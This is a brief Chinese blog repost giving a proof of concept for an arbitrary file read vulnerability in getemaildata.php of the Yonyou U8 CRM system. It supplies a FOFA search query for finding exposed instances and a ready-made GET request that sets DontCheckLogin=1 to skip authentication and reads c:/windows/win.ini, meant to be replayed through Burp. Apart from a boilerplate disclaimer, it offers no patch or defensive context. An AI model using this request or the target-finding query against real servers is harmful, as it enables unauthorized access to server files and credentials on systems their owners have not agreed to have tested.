用友 U8 CRM客户关系管理系统 getemaildata.php 文件存在任意文件上传和任意文件读取漏洞，本文 只复现 任意文件读取。
fofa大法：
body="用友U8CRM"
:9072/login/login.php
poc：burp 抓包 get 请求 GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini 替换即可
本文发布于:2024-02-02 10:11:35，感谢您对本站的认可！
本文链接：https://www.4u4v.net/it/170683989443111.html
版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系，我们将在24小时内删除。
| 留言与评论（共有 0 条评论） |
